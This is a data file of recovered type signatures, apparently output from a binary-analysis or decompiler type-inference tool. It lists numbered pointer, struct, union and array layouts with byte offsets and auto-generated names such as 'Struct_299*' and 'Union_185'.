512 union(ptr(num8_t),ptr(reg16_t)) "Union_140"
513 ptr(struct(52:reg32_t,68:ptr(struct(24:reg32_t,28:ptr(TOP))),72:ptr(ptr(struct(0:array(reg8_t,28),28:code_t))))) "Struct_299*"
514 ptr(struct(0:array(reg8_t,68),68:reg32_t)) "StructFrag_53*"
515 union(ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(ptr(struct(4:code_t,8:code_t,24:code_t)))) "Union_83"
516 ptr(struct(68:ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),72:ptr(ptr(struct(4:code_t,24:code_t))))) "Struct_454*"
517 array(reg8_t,123) "unknown_984"
518 array(reg8_t,8028) "unknown_64224"
519 ptr(struct(0:array(reg8_t,152),152:reg32_t)) "StructFrag_14*"
520 union(ptr(num8_t),num32_t,ptr(reg32_t)) "Union_204"
512 union(ptr(num8_t),ptr(reg16_t)) "Union_205"
521 ptr(struct(8:code_t,12:union(ptr(TOP),ptr(struct(0:reg64_t,8:ptr(TOP))),ptr(struct(8:ptr(TOP),12:reg32_t))),16:reg32_t,4294967288:code_t,4294967292:reg32_t)) "Struct_888*"
522 union(ptr(TOP),ptr(struct(0:reg64_t,8:ptr(TOP))),ptr(struct(8:ptr(TOP),12:reg32_t))) "Union_233"
523 ptr(struct(0:union(ptr(num8_t),uint32_t),4:uint32_t,4294967292:union(ptr(num8_t),uint32_t))) "Struct_794*"
524 union(ptr(num8_t),ptr(reg32_t),ptr(reg16_t),ptr(struct(0:ptr(num8_t),4:reg32_t,8:ptr(num8_t),12:num32_t,16:num32_t,24:num32_t)),ptr(struct(0:ptr(num8_t),4:uint32_t,8:ptr(num8_t),12:num32_t,16:num32_t,24:num32_t))) "Union_206"
525 union(ptr(uint16_t),ptr(uint16_t)) "Union_212"
526 union(num32_t,ptr(num8_t),ptr(uint16_t)) "Union_213"
527 union(num32_t,ptr(num8_t)) "Union_214"
528 ptr(struct(4:ptr(num8_t),4294967292:ptr(num8_t))) "Struct_801*"
529 ptr(struct(0:array(reg8_t,11),11:num8_t)) "StructFrag_454*"
166 ptr(code_t) "proc*[]"
530 union(ptr(ptr(num8_t)),ptr(TOP)) "Union_211"
531 ptr(ptr(uint8_t)) "unsigned char**"
532 array(reg8_t,4095) "unknown_32760"
533 ptr(struct(0:reg32_t,4:code_t)) "StructFrag_0*"
534 ptr(struct(0:array(reg8_t,4192),4192:reg32_t)) "StructFrag_11*"
535 ptr(struct(12:code_t,24:code_t,44:code_t)) "Struct_341*"
536 ptr(struct(0:ptr(TOP),4:num32_t,8:reg32_t)) "Struct_507*"
537 union(code_t,ptr(ptr(ptr(TOP))),ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(ptr(num8_t)),ptr(TOP),ptr(reg32_t),int32_t,ptr(num8_t),ptr(int32_t),ptr(struct(0:reg32_t,4:code_t)),ptr(num32_t),ptr(reg32_t),ptr(reg16_t),ptr(struct(0:array(reg8_t,24),24:code_t)),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(ptr(struct(0:array(reg8_t,48),48:ptr(ptr(struct(0:array(reg8_t,24),24:ptr(TOP))))))),ptr(struct(0:reg32_t,16:union(ptr(num8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))))),ptr(struct(0:array(reg8_t,16),16:ptr(TOP))),ptr(ptr(struct(0:reg64_t,8:code_t))),ptr(struct(24:ptr(TOP),28:ptr(TOP),32:reg32_t)),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:array(reg8_t,56),56:num8_t)),ptr(struct(0:array(reg8_t,84),84:num8_t)),ptr(struct(0:reg32_t,4:reg32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t)),ptr(struct(0:ptr(TOP),4:code_t)),ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(code_t),4:ptr(num8_t),8:ptr(TOP),12:ptr(TOP),16:ptr(struct(4:reg32_t,12:ptr(reg64_t),24:reg32_t)),20:reg32_t,72:ptr(array(reg8_t,99)))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(struct(0:reg32_t,4:reg32_t)),24:reg32_t)),80:reg16_t)),ptr(struct(0:array(reg8_t,3432),3432:num8_t)),ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t))),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP))),ptr(ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP)))),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))))),ptr(struct(0:array(reg8_t,15),15:num8_t)),ptr(struct(8:ptr(TOP),12:ptr(TOP),16:ptr(TOP),32:ptr(TOP))),ptr(struct(0:reg16_t,2:reg16_t)),ptr(struct(0:ptr(struct(396:ptr(ptr(TOP)),412:ptr(struct(0:ptr(array(reg8_t,32)),4:code_t)))),4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t)),ptr(struct(0:array(reg8_t,8120),8120:num8_t)),ptr(struct(0:array(reg8_t,2344),2344:num8_t)),ptr(struct(0:reg32_t,4:reg32_t,12:ptr(code_t),16:ptr(struct(0:array(reg8_t,2344),2344:num8_t)))),ptr(struct(0:ptr(struct(0:array(reg8_t,3432),3432:num8_t)),4:num32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t)),ptr(ptr(struct(20:code_t,28:code_t,32:code_t))),ptr(struct(0:ptr(code_t),4:ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),8:ptr(struct(0:array(reg8_t,396),396:ptr(ptr(array(reg8_t,40))))),12:ptr(ptr(struct(20:code_t,28:code_t,32:code_t))),16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,296:uint32_t,300:reg32_t)),ptr(struct(0:ptr(struct(20:code_t,28:code_t,32:code_t)),4:ptr(num8_t),8:reg32_t,12:ptr(struct(0:ptr(code_t),4:ptr(struct(0:ptr(reg8_t),4:num32_t,8:ptr(reg8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(reg8_t))),8:ptr(struct(0:array(reg8_t,396),396:ptr(ptr(TOP)))),12:ptr(ptr(array(reg8_t,36))),16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,296:uint32_t,300:reg32_t)),36:reg32_t,40:reg32_t,44:reg32_t,48:reg32_t,56:reg32_t,60:reg32_t,76:reg32_t,84:reg32_t,88:reg32_t,92:reg32_t)),ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(ptr(ptr(TOP))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(reg32_t),16:ptr(TOP),24:reg32_t)),80:reg16_t)),ptr(struct(0:union(code_t,ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(reg8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:ptr(TOP))),88:ptr(TOP))),ptr(ptr(struct(0:ptr(array(reg8_t,24)),88:ptr(TOP))))),4:union(code_t,ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(reg8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:ptr(TOP))),88:ptr(TOP))),ptr(ptr(struct(0:ptr(array(reg8_t,24)),88:ptr(TOP))))))),ptr(struct(0:ptr(code_t),4:reg32_t,8:union(code_t,ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(reg8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:ptr(TOP))),88:ptr(TOP))),ptr(ptr(struct(0:ptr(array(reg8_t,24)),88:ptr(TOP))))),12:union(ptr(struct(0:array(reg8_t,88),88:ptr(TOP))),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:ptr(TOP))),88:ptr(TOP)))),16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,296:union(code_t,ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(reg8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:ptr(TOP))),88:ptr(TOP))),ptr(ptr(struct(0:ptr(array(reg8_t,24)),88:ptr(TOP))))),300:reg32_t)),ptr(struct(0:ptr(code_t),4:ptr(num8_t),8:reg32_t,12:ptr(struct(0:ptr(code_t),4:reg32_t,8:union(code_t,ptr(num8_t),ptr(struct(0:ptr(TOP),4:reg32_t,8:ptr(TOP),12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:ptr(TOP))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:ptr(TOP))),ptr(reg32_t),ptr(ptr(reg64_t)),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:reg32_t,40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:ptr(TOP))),ptr(struct(0:ptr(TOP),88:ptr(TOP))),ptr(ptr(array(reg8_t,92)))),12:union(ptr(struct(0:array(reg8_t,88),88:ptr(TOP))),ptr(struct(0:ptr(TOP),88:ptr(TOP)))),16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,296:union(code_t,ptr(num8_t),ptr(struct(0:ptr(TOP),4:reg32_t,8:ptr(TOP),12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:ptr(TOP))),num32_t,ptr(TOP),ptr(struct(0:reg32_t,4:ptr(TOP))),ptr(reg32_t),ptr(ptr(reg64_t)),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:reg32_t,40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,20),20:ptr(TOP))),ptr(struct(0:ptr(TOP),88:ptr(TOP))),ptr(ptr(array(reg8_t,92)))),300:reg32_t)),36:reg32_t,40:reg32_t,44:reg32_t,48:reg32_t,56:reg32_t,60:reg32_t,76:reg32_t,84:reg32_t,88:reg32_t,92:ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(ptr(TOP)),4:ptr(reg8_t),8:ptr(TOP),12:ptr(TOP),16:ptr(array(reg8_t,28)),20:reg32_t,72:ptr(array(reg8_t,99)))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(reg64_t),24:reg32_t)),80:reg16_t)))),ptr(struct(0:union(ptr(struct(0:reg64_t,8:code_t)),ptr(struct(4:code_t,8:code_t))),24:code_t)),ptr(struct(0:ptr(struct(0:array(reg8_t,396),396:ptr(ptr(array(reg8_t,40))))),4:num32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,56:reg32_t)),ptr(struct(0:ptr(struct(4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),44:ptr(TOP))),4:ptr(TOP))),ptr(struct(0:reg32_t,4:reg32_t,12:ptr(code_t),16:union(ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(TOP),4:ptr(TOP),8:ptr(TOP),12:ptr(TOP),16:ptr(TOP),20:reg32_t,72:ptr(TOP))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(TOP),24:reg32_t)),80:reg16_t)),ptr(struct(396:ptr(ptr(array(reg8_t,52))),416:ptr(ptr(array(reg8_t,52)))))))),ptr(struct(0:reg64_t,8:num8_t)),ptr(struct(0:reg32_t,4:reg16_t)),ptr(struct(0:ptr(reg16_t),4:ptr(reg16_t),8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t))),ptr(struct(0:ptr(reg16_t),4:ptr(reg16_t),8:ptr(reg16_t),12:ptr(reg16_t))),ptr(struct(0:array(reg8_t,54),54:num8_t)),ptr(struct(0:array(reg8_t,32),32:num8_t)),ptr(struct(0:array(reg8_t,38),38:num8_t)),ptr(struct(128:num32_t,136:reg32_t,144:ptr(TOP))),ptr(struct(0:reg32_t,4:reg32_t)),ptr(struct(0:ptr(num8_t),1:num8_t)),ptr(uint16_t),ptr(struct(0:reg32_t,4:reg32_t,8:ptr(uint16_t),12:ptr(uint16_t),16:ptr(uint16_t),20:ptr(uint16_t))),ptr(struct(0:ptr(reg32_t),4:ptr(reg32_t),8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,404:reg32_t,408:reg32_t,33180:reg32_t)),ptr(struct(16:ptr(TOP),20:code_t)),ptr(ptr(reg32_t))) "Union_185"
538 union(code_t,ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(ptr(num8_t)),ptr(TOP),int32_t,ptr(num8_t),ptr(int32_t),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(num8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:reg32_t,4:reg32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t)),ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t))),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP))),ptr(ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP)))),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))))),ptr(struct(0:array(reg8_t,15),15:num8_t)),ptr(struct(0:ptr(num8_t),1:num8_t))) "Union_183"
539 union(code_t,ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(ptr(num8_t)),ptr(TOP),int32_t,ptr(num8_t),ptr(int32_t),ptr(struct(0:reg32_t,4:code_t)),ptr(reg32_t),ptr(ptr(struct(0:reg32_t,4:code_t))),ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))),ptr(struct(0:reg32_t,16:union(ptr(num8_t),ptr(TOP)),40:reg32_t,44:ptr(TOP))),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))))),ptr(struct(0:array(reg8_t,20),20:code_t)),ptr(struct(0:reg32_t,4:reg32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t)),ptr(struct(8:ptr(reg16_t),12:ptr(reg16_t),16:ptr(reg16_t))),ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP))),ptr(ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:code_t)),88:ptr(TOP)))),ptr(struct(396:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),416:ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP))))))) "Union_147"
540 ptr(struct(4:code_t,24:code_t)) "Struct_447*"
541 ptr(struct(24:code_t,28:code_t)) "Struct_561*"
542 ptr(struct(8:code_t,24:code_t,28:code_t)) "Struct_461*"
543 ptr(struct(4:ptr(struct(24:ptr(TOP),28:ptr(TOP),32:reg32_t)),24:reg32_t,300:ptr(TOP),304:uint32_t)) "Struct_462*"
544 ptr(struct(4:code_t,8:code_t,24:code_t,28:code_t)) "Struct_394*"
545 ptr(struct(20:code_t,28:code_t,32:code_t)) "Struct_398*"
546 ptr(struct(0:array(reg8_t,28),28:code_t)) "StructFrag_20*"
547 ptr(struct(0:array(reg8_t,32),32:code_t)) "StructFrag_57*"
548 ptr(struct(0:array(reg8_t,12),12:ptr(ptr(code_t)))) "StructFrag_59*"
549 ptr(struct(0:array(reg8_t,88),88:ptr(TOP))) "StructFrag_121*"
550 ptr(struct(4:code_t,12:code_t,16:code_t)) "Struct_308*"
551 union(ptr(reg32_t),ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(code_t),4:ptr(num8_t),8:ptr(TOP),12:ptr(TOP),16:ptr(struct(4:reg32_t,12:ptr(reg64_t),24:reg32_t)),20:reg32_t,72:ptr(array(reg8_t,99)))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(struct(0:reg32_t,4:reg32_t)),24:reg32_t)),80:reg16_t))) "Union_141"
552 ptr(struct(0:array(reg8_t,12),12:code_t)) "StructFrag_23*"
553 ptr(struct(0:num32_t,8:num32_t,16:num32_t,20:ptr(num8_t),28:num32_t,36:reg32_t,40:num32_t,44:ptr(TOP))) "Struct_654*"
554 ptr(struct(0:reg32_t,16:ptr(TOP),40:reg32_t,44:ptr(TOP))) "Struct_34*"
555 ptr(struct(16:code_t,28:reg32_t)) "Struct_499*"
556 ptr(struct(12:code_t,24:reg32_t)) "Struct_500*"
557 union(ptr(reg32_t),ptr(struct(36:ptr(TOP),48:ptr(ptr(struct(0:array(reg8_t,24),24:code_t)))))) "Union_124"
558 ptr(struct(36:reg32_t,48:ptr(ptr(TOP)))) "Struct_175*"
559 ptr(struct(4:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,36:reg32_t,40:reg32_t,48:union(ptr(ptr(struct(0:array(reg8_t,24),24:code_t))),ptr(ptr(struct(0:reg64_t,8:code_t)))))) "Struct_459*"
560 union(ptr(num8_t),ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(TOP)) "Union_97"
561 ptr(struct(4:reg32_t,268:ptr(struct(0:array(reg8_t,36),36:reg32_t)))) "Struct_363*"
562 ptr(struct(0:array(reg8_t,20),20:code_t)) "StructFrag_51*"
314 ptr(struct(196:reg32_t,400:ptr(struct(0:array(reg8_t,56),56:reg32_t)),488:reg32_t,496:reg32_t,500:reg32_t,640:reg32_t)) "Struct_551*"
563 ptr(struct(0:array(reg8_t,56),56:reg32_t)) "StructFrag_244*"
564 ptr(struct(0:array(reg8_t,16),16:code_t)) "StructFrag_49*"
565 ptr(struct(20:code_t,28:num32_t)) "Struct_502*"
566 ptr(struct(16:code_t,24:reg32_t)) "Struct_504*"
567 ptr(struct(4:reg32_t,48:ptr(ptr(TOP)))) "Struct_207*"
568 union(ptr(num8_t),num32_t,ptr(struct(0:reg32_t,4:code_t)),ptr(struct(0:array(reg8_t,24),24:code_t))) "Union_81"
569 ptr(array(reg8_t,23)) "unknown_184*"
570 union(ptr(ptr(struct(0:array(reg8_t,48),48:ptr(TOP)))),ptr(ptr(struct(0:array(reg8_t,48),48:ptr(ptr(struct(0:array(reg8_t,24),24:ptr(TOP)))))))) "Union_19"
358 ptr(struct(0:ptr(struct(4:code_t,12:code_t,44:code_t,48:union(ptr(struct(0:ptr(reg8_t),4:num32_t,8:ptr(reg8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(reg8_t))),ptr(ptr(reg8_t)),int32_t,ptr(num8_t),ptr(int32_t),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(TOP)))),ptr(struct(0:reg32_t,4:reg32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t)),ptr(struct(396:ptr(ptr(TOP)),416:ptr(ptr(TOP))))))),4:reg32_t)) "Struct_333*"
571 ptr(struct(4:code_t,12:code_t,44:code_t,48:union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(ptr(num8_t)),int32_t,ptr(num8_t),ptr(int32_t),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(array(reg8_t,40))))),ptr(struct(0:reg32_t,4:reg32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t)),ptr(struct(396:ptr(ptr(array(reg8_t,52))),416:ptr(ptr(array(reg8_t,52)))))))) "Struct_335*"
572 ptr(struct(0:union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(ptr(num8_t)),int32_t,ptr(num8_t),ptr(int32_t),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(array(reg8_t,40))))),ptr(struct(0:reg32_t,4:reg32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t)),ptr(struct(396:ptr(ptr(array(reg8_t,52))),416:ptr(ptr(array(reg8_t,52)))))),4:union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(ptr(num8_t)),int32_t,ptr(num8_t),ptr(int32_t),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(array(reg8_t,40))))),ptr(struct(0:reg32_t,4:reg32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t)),ptr(struct(396:ptr(ptr(array(reg8_t,52))),416:ptr(ptr(array(reg8_t,52)))))),8:union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(ptr(num8_t)),int32_t,ptr(num8_t),ptr(int32_t),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(array(reg8_t,40))))),ptr(struct(0:reg32_t,4:reg32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t)),ptr(struct(396:ptr(ptr(array(reg8_t,52))),416:ptr(ptr(array(reg8_t,52)))))),12:union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(ptr(num8_t)),int32_t,ptr(num8_t),ptr(int32_t),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(array(reg8_t,40))))),ptr(struct(0:reg32_t,4:reg32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t)),ptr(struct(396:ptr(ptr(array(reg8_t,52))),416:ptr(ptr(array(reg8_t,52)))))),16:union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(ptr(num8_t)),int32_t,ptr(num8_t),ptr(int32_t),ptr(struct(0:array(reg8_t,396),396:ptr(ptr(array(reg8_t,40))))),ptr(struct(0:reg32_t,4:reg32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t)),ptr(struct(396:ptr(ptr(array(reg8_t,52))),416:ptr(ptr(array(reg8_t,52)))))))) "Struct_330*"
573 ptr(array(reg8_t,27)) "unknown_216*"
574 union(ptr(reg32_t),ptr(struct(0:array(reg8_t,48),48:ptr(TOP))),ptr(struct(0:array(reg8_t,48),48:ptr(ptr(struct(0:array(reg8_t,24),24:code_t))))),ptr(struct(0:array(reg8_t,36),36:ptr(TOP)))) "Union_25"
575 ptr(struct(0:code_t,8:code_t,24:reg32_t)) "Struct_410*"
576 ptr(struct(0:array(reg8_t,48),48:ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))))) "StructFrag_214*"
577 ptr(struct(0:array(reg8_t,24),24:ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))))) "StructFrag_215*"
166 ptr(code_t) "(void -?-> dword)*[]"
578 ptr(array(reg8_t,128)) "unknown_1024*"
579 ptr(struct(0:reg32_t,4:reg32_t,12:ptr(code_t),16:union(ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(ptr(TOP)),4:ptr(reg8_t),8:ptr(TOP),12:ptr(TOP),16:ptr(array(reg8_t,28)),20:reg32_t,72:ptr(array(reg8_t,99)))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(reg64_t),24:reg32_t)),80:reg16_t)),ptr(struct(396:ptr(ptr(array(reg8_t,52))),416:ptr(ptr(array(reg8_t,52)))))))) "Struct_521*"
580 ptr(struct(0:array(reg8_t,8120),8120:num8_t)) "StructFrag_179*"
581 ptr(struct(960:ptr(array(reg8_t,38)),964:ptr(array(reg8_t,48)),1000:int32_t,1004:int32_t)) "Struct_611*"
582 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(struct(0:ptr(code_t),4:ptr(num8_t),12:ptr(struct(0:ptr(code_t),4:ptr(num8_t),8:ptr(TOP),12:ptr(TOP),16:ptr(struct(4:reg32_t,12:ptr(reg64_t),24:reg32_t)),20:reg32_t,72:ptr(array(reg8_t,99)))),60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:ptr(struct(4:reg32_t,12:ptr(struct(0:reg32_t,4:reg32_t)),24:reg32_t)),80:reg16_t)),ptr(uint16_t)) "Union_159"
583 ptr(struct(0:reg32_t,4:reg32_t,8:ptr(uint16_t),12:ptr(uint16_t),16:ptr(uint16_t),20:ptr(uint16_t))) "Struct_711*"
584 ptr(struct(0:array(reg8_t,54),54:num8_t)) "StructFrag_281*"
166 ptr(code_t) "(dword,dword -> dword)**"
585 union(ptr(num8_t),ptr(struct(0:num8_t,12:code_t,16:code_t,48:ptr(num8_t)))) "Union_32"
586 ptr(struct(0:array(reg8_t,38),38:num8_t)) "StructFrag_286*"
587 ptr(struct(0:array(reg8_t,32),32:num8_t)) "StructFrag_186*"
588 ptr(struct(0:reg16_t,2:reg16_t)) "StructFrag_31*"
589 ptr(struct(0:ptr(reg32_t),4:ptr(reg32_t),8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,404:reg32_t,408:reg32_t,33180:reg32_t)) "Struct_720*"
590 ptr(struct(0:reg32_t,4:reg32_t,12:ptr(code_t),16:ptr(struct(0:array(reg8_t,2344),2344:num8_t)))) "Struct_378*"
